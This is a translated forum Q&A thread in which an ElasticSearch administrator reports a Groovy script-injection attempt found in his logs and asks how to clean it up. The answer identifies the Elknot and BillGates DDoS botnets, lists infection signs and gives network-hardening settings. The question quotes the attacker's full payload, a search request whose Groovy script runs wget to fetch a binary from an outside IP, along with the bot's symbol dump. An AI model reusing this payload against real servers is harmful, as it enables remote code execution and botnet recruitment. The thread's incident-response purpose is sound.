Ошибка скрипта в ElasticSearch Groovy, сомнительный запрос

Question

Я только что обновил ElasticSearch 1.7.1 и заполнял базу данных. Пока я продолжал получать следующую ошибку (или сообщение отладки):

[2015-08-09 03:20:23,429][DEBUG][action.search.type       ] [NODE_NAME] [index_name][0], node[vw6fq_XPSuWsBWHN6aKepw], [P], s[STARTED]: Failed to execute [org.elasticsearch.action.search.SearchRequest@6dee1ca] lastShard [true]
org.elasticsearch.search.SearchParseException: [index_name][0]: query[ConstantScore(*:*)],from[-1],size[-1]: Parse Failure [Failed to parse source [{"query": {"filtered": {"query": {"match_all": {}}}}, "script_fields": {"exp": {"script": "import java.util.*;import java.io.*;String str = \"\";BufferedReader br = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(\"wget -O /tmp/XJ1 http://116.255.194.18:8080/XJ1\").getInputStream()));StringBuilder sb = new StringBuilder();while((str=br.readLine())!=null){sb.append(str);sb.append(\"\r\n\");}sb.toString();"}}, "size": 1}]]
    at org.elasticsearch.search.SearchService.parseSource(SearchService.java:747)
    at org.elasticsearch.search.SearchService.createContext(SearchService.java:572)
    at org.elasticsearch.search.SearchService.createAndPutContext(SearchService.java:544)
    at org.elasticsearch.search.SearchService.executeQueryPhase(SearchService.java:306)
    at org.elasticsearch.search.action.SearchServiceTransportAction$5.call(SearchServiceTransportAction.java:231)
    at org.elasticsearch.search.action.SearchServiceTransportAction$5.call(SearchServiceTransportAction.java:228)
    at org.elasticsearch.search.action.SearchServiceTransportAction$23.run(SearchServiceTransportAction.java:559)
    at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)
    at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
    at java.lang.Thread.run(Thread.java:745)
Caused by: org.elasticsearch.script.ScriptException: scripts of type [inline], operation [search] and lang [groovy] are disabled
    at org.elasticsearch.script.ScriptService.compile(ScriptService.java:285)
    at org.elasticsearch.script.ScriptService.search(ScriptService.java:483)
    at org.elasticsearch.search.fetch.script.ScriptFieldsParseElement.parse(ScriptFieldsParseElement.java:79)
    at org.elasticsearch.search.SearchService.parseSource(SearchService.java:731)
    ... 9 more

Сначала я думал об исправлении этой ошибки, но я не написал ни одного скрипта Groovy. Итак, я начал читать это сообщение и обнаружил:

Runtime.getRuntime().exec(\"wget -O /tmp/XJ1 http://116.255.194.18:8080/XJ1\").getInputStream()

IP смутил меня, потому что это не мое (это китайский). Поэтому я поместил wget в песочницу и создал строку (из byte []), в результате чего:

CC: (GNU) 4.4.6 20110731 (Red Hat 4.4.6-3) GCC: (GNU) 4.4.6 20120305 (Red Hat 4.4.6-4)  .symtab .strtab .shstrtab .interp .note.ABI-tag .note.gnu.build-id .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rel.dyn .rel.plt .init .text .fini .rodata .eh_frame_hdr .eh_frame .ctors .dtors .jcr .dynamic .got .got.plt .data .bss .comment   
crtstuff.c __CTOR_LIST__ __DTOR_LIST__ __JCR_LIST__ __do_global_dtors_aux completed.5972 dtor_idx.5974 frame_dummy __CTOR_END__ __FRAME_END__ __JCR_END__ __do_global_ctors_aux main.c rdtsc _GLOBAL_OFFSET_TABLE_ __init_array_end __init_array_start _DYNAMIC GET_Flood data_start __errno_location@@GLIBC_2.0 srand@@GLIBC_2.0 connect@@GLIBC_2.0 getpid@@GLIBC_2.0 pthread_join@@GLIBC_2.0 strerror@@GLIBC_2.0 __libc_csu_fini sysconf@@GLIBC_2.0 _start pthread_exit@@GLIBC_2.0 Get_Net_Message CreateTimeer random@@GLIBC_2.0 Send_Host_Message signal@@GLIBC_2.0 NetSpeed __gmon_start__ _Jv_RegisterClasses _fp_hw rewind@@GLIBC_2.0 __isoc99_sscanf@@GLIBC_2.7 DoorThread SynFLood_Message _fini inet_addr@@GLIBC_2.0 write@@GLIBC_2.0 sendto@@GLIBC_2.0 fgets@@GLIBC_2.0 memset@@GLIBC_2.0 AnalysisAddress getOutRates UDP_Flood __libc_start_main@@GLIBC_2.0 uname@@GLIBC_2.0 htons@@GLIBC_2.0 read@@GLIBC_2.0 perror@@GLIBC_2.0 usleep@@GLIBC_2.0 SYN_Flood _IO_stdin_used gettimeofday@@GLIBC_2.0 Stream_Flood id ServerConnectCli __data_start TurnonKeepAlive DoorSocket ioctl@@GLIBC_2.0 socket@@GLIBC_2.0 getNetRates fclose@@GLIBC_2.1 bcopy@@GLIBC_2.0 GetCpuRates SetDNSHead memcpy@@GLIBC_2.0 strlen@@GLIBC_2.0 MainThread DealwithDDoS fopen@@GLIBC_2.1 _SendInfo __dso_handle strcpy@@GLIBC_2.0 __DTOR_END__ __libc_csu_init printf@@GLIBC_2.0 StopFlag DNS_Flood select@@GLIBC_2.0 close@@GLIBC_2.0 MainSocket strstr@@GLIBC_2.0 time@@GLIBC_2.0 ICMP_Flood m_OnlineInfo _ConnectServer __bss_start CpuSpeed pthread_create@@GLIBC_2.1 sleep@@GLIBC_2.0 __ConnectServer send@@GLIBC_2.0 _end puts@@GLIBC_2.0 _ServerConnectCli setsockopt@@GLIBC_2.0 ChName rand@@GLIBC_2.0 bzero@@GLIBC_2.0 usage netuse CheckSum fread@@GLIBC_2.0 getsockopt@@GLIBC_2.0 SendSpeed _edata snprintf@@GLIBC_2.0 gethostbyname@@GLIBC_2.0 exit@@GLIBC_2.0 __i686.get_pc_thunk.bx main Get_Cpu_Message _init

поэтому я нашел код C, я нашел DealWithDDos звоните интересно.

Я не мог выяснить, что это за код, откуда он взялся и почему он пытается работать. Кто-нибудь знает, что это? И как от этого избавиться?

PS, я также получил еще одно сообщение об ошибке, еще один странный скрипт, который вызывает exec(\"whoami\"), Этот код, в соответствии с концом.cc, используется для попытки отменить удаление Groovy, выполнив системную команду.
exec(\"echo qq952135763\"), только совпадение (подожди...) китайское...

Обновить

Итак, благодаря комментарию от Val, создатели проблемы: китайский ботнет. Отчет по ботнетам ElasticSearch: Отчет по эластичным ботнетам

Кроме того, поскольку я только что обновил ElasticSearch, создал совершенно новые индексы (все новое), я уже исключил ES извне (очевидно, слишком поздно для уязвимости, но все же), поэтому должен быть запущен некоторый процесс для отправки запроса в ES, Который? Откуда вызывается скрипт?

(Примечательно) Обновление 2

В отчете, описанном в разделе " Обновление", они описывают 2 (связанных) вредоносных продукта, предназначенных для ElasticSearch: BillGates а также Elknot,

Известный на Elknot находится в последнем абзаце page 7:

Авторы дроппера Elknot не предоставили никаких средств для сохранения после перезагрузки, и после перезагрузки компьютера жертвы администратором или сбоя системы заражение прекращается.

BillGates Вредоносное ПО: вы можете проверить, есть ли у вас эта форма, (цитата из 3 самых последних страниц:

Одним из распространенных признаков заражения BillGates является наличие файлов /tmp/moni.lock, а также файлов /tmp/bill.lock на компьютере жертвы. Кроме того, каталоги из каталога /usr/bin, содержащие имя bsd-port, могут быть подозрительными.

И все же, как от этого избавиться?

• Elknot -> Перезагрузить все серверы (одновременно!)
• BillGates -> предложил при обнаружении этой формы вредоносного ПО переустановить 3

Answer 1

Позднее обновление
Предварительное примечание: по какой-то причине этот поток все еще посещается, что заставляет меня предупредить, обновите ElasticSearch до> 1.5 как можно скорее. Удостовериться {your_external_ip}:{port} НЕ вызывается из любого места, кроме localhost - если есть. Наконец, будьте осторожны с использованием Groovyособенно за пределами песочницы.

---

Оригинальный ответ

Таким образом, две отдельные проблемы возникли здесь:
1) Как указал @Val, китайский ботнет получил меня (задним числом, раньше, но я не использовал версию ElasticSearch, где скрипты были отключены по умолчанию). Этот ботнет был исследован Novetta, где они обнаружили, что запускаются два основных сценария (когда компьютер уже заражен): Elknot а также BillGates - которые разделяют некоторый код. (Они нашли 10 различных сценариев, чтобы попытаться заразить серверы, не все высокого качества (см. Страницу 41-54 1)

Большая разница между этими двумя Elknot гораздо проще в том, что он не пытается стать постоянным, BillGates делает. Чтобы узнать, какая из этих версий у вас есть, вы можете сделать несколько вещей:

• Выполните перезагрузку. Когда (через пару часов) система не показывает странные действия (wget -o), ты имел Elknotиначе у вас, вероятно, есть BillGates
• Так как, в отличие от Elknot, BillGates является постоянным, вы можете увидеть его подпись в: /tmp/{moni.lock, notify.file, gates.lock, bill.lock}Вы должны быть в состоянии увидеть это в: /etc/rc?.d файл каталогов SDbSecuritySpt97, /etc/resolv.conf (см. страницу 25-31 1), используйте lsof команда (см. страницу 39-41 1)

К счастью для меня, кажется, у меня было elknotтак что мне не нужно переустанавливать. Но у меня все еще были подобные предупреждения, включая вызов времени выполнения whoami а также echo qq{some numbers}, Зачем?

Потому что известная уязвимость (как указано в соответствующем Обновлении) - это когда Groovy-скрипт вызывает системную команду. Это может отменить удаление сценария, придав ему силу.

Эта проблема не была решена reboot так как это только остановилось elknot, Видимо что-то еще было проблемой. Я нашел, что все еще могу позвонить external.ip.address:9200 над HTTP чтобы получить ответ. Кроме того, из внешнего источника я мог привязать узел к сети - тупой (я думал, что решил это несколько месяцев назад). Чтобы противодействовать этому, обратите внимание на следующие настройки в elasticsearch.yml:

############## HTTP ################
#at least
http.host: localhost 
#preferrably disable http entirely. Http is unnecessary on the data nodes, since they communicate over the transport
http.enabled: false 

########### TRANSPORT ##############
# local only. Without this property everybody in the world can connect to your ES
transport.host: ["192.168.0.10","localhost"]